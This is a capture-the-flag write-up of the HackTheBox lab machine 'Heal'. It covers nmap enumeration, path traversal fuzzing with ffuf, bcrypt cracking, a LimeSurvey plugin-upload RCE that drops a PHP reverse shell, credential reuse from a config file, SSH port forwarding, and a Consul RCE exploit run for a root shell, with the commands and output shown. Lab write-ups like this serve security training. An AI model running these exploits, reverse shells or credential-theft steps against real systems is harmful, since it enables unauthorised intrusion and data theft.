HackTheBox - Heal
Heal from HackTheBox starts with a path traversal vulnerability allowing us to read file on the system and finding password hashes on one of the files. After that we exploit an RCE on lime survey giving us foothold on the box. For root we find a listening port running consul, we forward the port and exploit another RCE to get a root shell.
Enumeration
nmap
We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.10.11.46
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found two open ports, the first one is 22 running ssh and the second is 80 running nginx.
The Nmap scripts also revealed the domain heal.htb
so let’s add it to our /etc/hosts
/file before we continue.
Web
Let’s navigate to the web page.
We got a login page, we don’t have any credentials so let’s register a user and login.
We got to the resume builder, clicking on the survey button asks us to take a survey and opening a page that goes to take-survey.heal.htb
. Let’s add it to our /etc/hosts
file and refresh the page.
This website uses lime survey. We identify user ralph
Searching for possible exploits we find an RCE(Remote Code Execution) but it’s authenticated and we don’t have any credentials.
Back to the resume builder, if we scroll down we find the button EXPORT AS PDF
clicking on it doesn’t do anything.
If we check our burp history we see a request made to api.heal.htb
Let’s add the host to our /etc/hosts
file and click the button again.
This generated a pdf file and downloaded it to our box.
Let’s check burp history and see what requests were made.
The information we fill is sent to the server in form of json data and the server responds with the name of the pdf file; d62658c339bec8eb13c4.pdf
.
Then a request is sent using GET
method to /download
page with the parameter filename
, and we also see an authorization header holding what looks like JWT token.
Let’s use this information and try reading /etc/passwd
file.
We got the file!
Let’s fuzz for other files using ffuf.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ffuf -c -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt -u http://api.heal.htb/download?filename=FUZZ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lk
IjoxMH0.1HGjddQjtuWidz164C3dJQJ2hs4S2YayWCU5TFsrzaE' -fs 0,64
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://api.heal.htb/download?filename=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
:: Header : Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMH0.1HGjddQjtuWidz164C3dJQJ2hs4S2YayWCU5TFsrzaE
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0,64
________________________________________________
/etc/passwd [Status: 200, Size: 2120, Words: 18, Lines: 40, Duration: 104ms]
../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 2120, Words: 18, Lines: 40, Duration: 214ms]
[...]
../../../../../../../../../../../../../../etc/group [Status: 200, Size: 864, Words: 1, Lines: 66, Duration: 2112ms]
../../../../../proc/self/fd/15 [Status: 200, Size: 32768, Words: 106, Lines: 20, Duration: 2099ms]
../../../../../../../../../../../../../proc/self/fd/17 [Status: 200, Size: 32768, Words: 1, Lines: 1, Duration: 2117ms]
We got /proc/self/fd/15
and 17
, let’s request them on burp.
We found password hashes on /proc/self/fd/15
including user ralph
who’s the administrator on lime survey.
Let’s crack his password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
λ .\hashcat.exe hashes.txt rockyou.txt -m 3200
hashcat (v6.2.6) starting
[...]
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9S...GCSZnG
Time.Started.....: Sat May 17 18:34:56 2025 (56 secs)
Time.Estimated...: Sat May 17 18:35:52 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 28 H/s (12.74ms) @ Accel:1 Loops:1 Thr:16 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1536/14344384 (0.01%)
Rejected.........: 0/1536 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4095-4096
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> mexico1
Started: Sat May 17 18:34:38 2025
Stopped: Sat May 17 18:35:53 2025
We got the password, now let’s try login in on lime survey at http://take-survey.heal.htb/index.php/admin/authentication/sa/login
.
Foothold
I found earlier an Authenticated RCE on slime survey, let’s use it.
We can find the exploit here https://github.com/Y1LD1R1M-1337/Limesurvey-RCE.
Before running the exploit we need to change the ip address in the php-rev.php
file to our tun0 ip address, make another zip with the name Y1LD1R1M.zip
and finally change the target in the python script from localhost:3000
to lime-survey.heal.htb
Running the exploit doesn’t give us anything unfortunately, let’s do it manually then.
The exploit uploads a zip file as a plugin.
After selecting the file and clicking on install we get an error.
The error say that the plugin is not compatible with the current version of lime survey.
The version running is 6.6.4 and after checking the config.xml
used by the exploit author we see him using the following:
1
2
3
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
Let’s change one of the version’s value to 6.0 and try again.
We managed to upload it, now let’s install it, setup our listener and navigate to http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php
to trigger the php reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[★]$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.57] from (UNKNOWN) [10.10.11.46] 47086
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
17:53:31 up 7:35, 2 users, load average: 0.03, 0.10, 0.14
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ron pts/0 10.10.14.27 15:43 2:02m 0.03s 0.03s -bash
ron pts/1 10.10.14.80 17:35 17:23 0.03s 0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@heal:/$ export TERM=xterm
export TERM=xterm
www-data@heal:/$ ^Z
zsh: suspended nc -lvnp 9001
┌──[10.10.16.57]─[sirius💀parrot]-[~/ctf/htb/heal]
└──╼[★]$ stty raw -echo; fg
[1] + continued nc -lvnp 9001
www-data@heal:/$
We got a shell!
Privilege Escalation
www-data -> ron
As with any web application, let’s check for any config file that might contain a password.
On /var/www/limesurvery/application/config/config.php
we find credentials to the database.
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
Trying the password with user ralph
fails but it works with user ron
.
1
2
3
4
5
www-data@heal:~/limesurvey/application/config$ su ron
Password:
ron@heal:/var/www/limesurvey/application/config$ cd
ron@heal:~$ id
uid=1001(ron) gid=1001(ron) groups=1001(ron)
ron -> root
Now running netstat -tulpn
we find a bunch of open ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ron@heal:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp 0 0 0.0.0.0:41012 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 127.0.0.1:8301 0.0.0.0:* -
udp 0 0 127.0.0.1:8302 0.0.0.0:* -
udp 0 0 127.0.0.1:8600 0.0.0.0:* -
udp6 0 0 :::5353 :::* -
udp6 0 0 :::40996 :::* -
With curl I tried requesting each one of them, I got not allowed
on most of them but I got a hit on port 8500
.
1
2
3
4
5
6
7
8
ron@heal:~$ curl 127.1:8300
curl: (56) Recv failure: Connection reset by peer
ron@heal:~$ curl 127.1:8302
curl: (1) Received HTTP/0.9 when not allowed
ron@heal:~$ curl 127.1:8301
curl: (1) Received HTTP/0.9 when not allowed
ron@heal:~$ curl 127.1:8500
<a href="/ui/">Moved Permanently</a>.
Let’s forward the port using ssh
1
ssh ron@heal.htb -L 8500:127.0.0.1:8500
Now let’s navigate to 127.0.0.1:8500
We got consul by hashicorp v1.19.2.
Searching on exploit-db for consul we find an RCE exploit https://www.exploit-db.com/exploits/51117
Let’s download it and run it.
1
2
3
[★]$ python exp.py
[-] Usage: python3 exp.py <rhost> <rport> <lhost> <lport> <acl_token>
The exploit takes some arguments, the one we don’t have is the acl_token
. I looked for it on the website and on burp history but couldn’t find any.
Trying the exploit with a randon strings as a token actually worked!!
1
2
3
4
python exp.py 127.0.0.1 8500 10.10.16.57 9002 asdfasdfasdfasdfasdf
[+] Request sent successfully, check your listener
I checked my listener and I got a root shell
1
2
3
4
5
6
7
8
9
[★]$ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.16.57] from (UNKNOWN) [10.10.11.46] 51044
bash: cannot set terminal process group (91377): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@heal:/#
Prevention and Mitigation
References
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).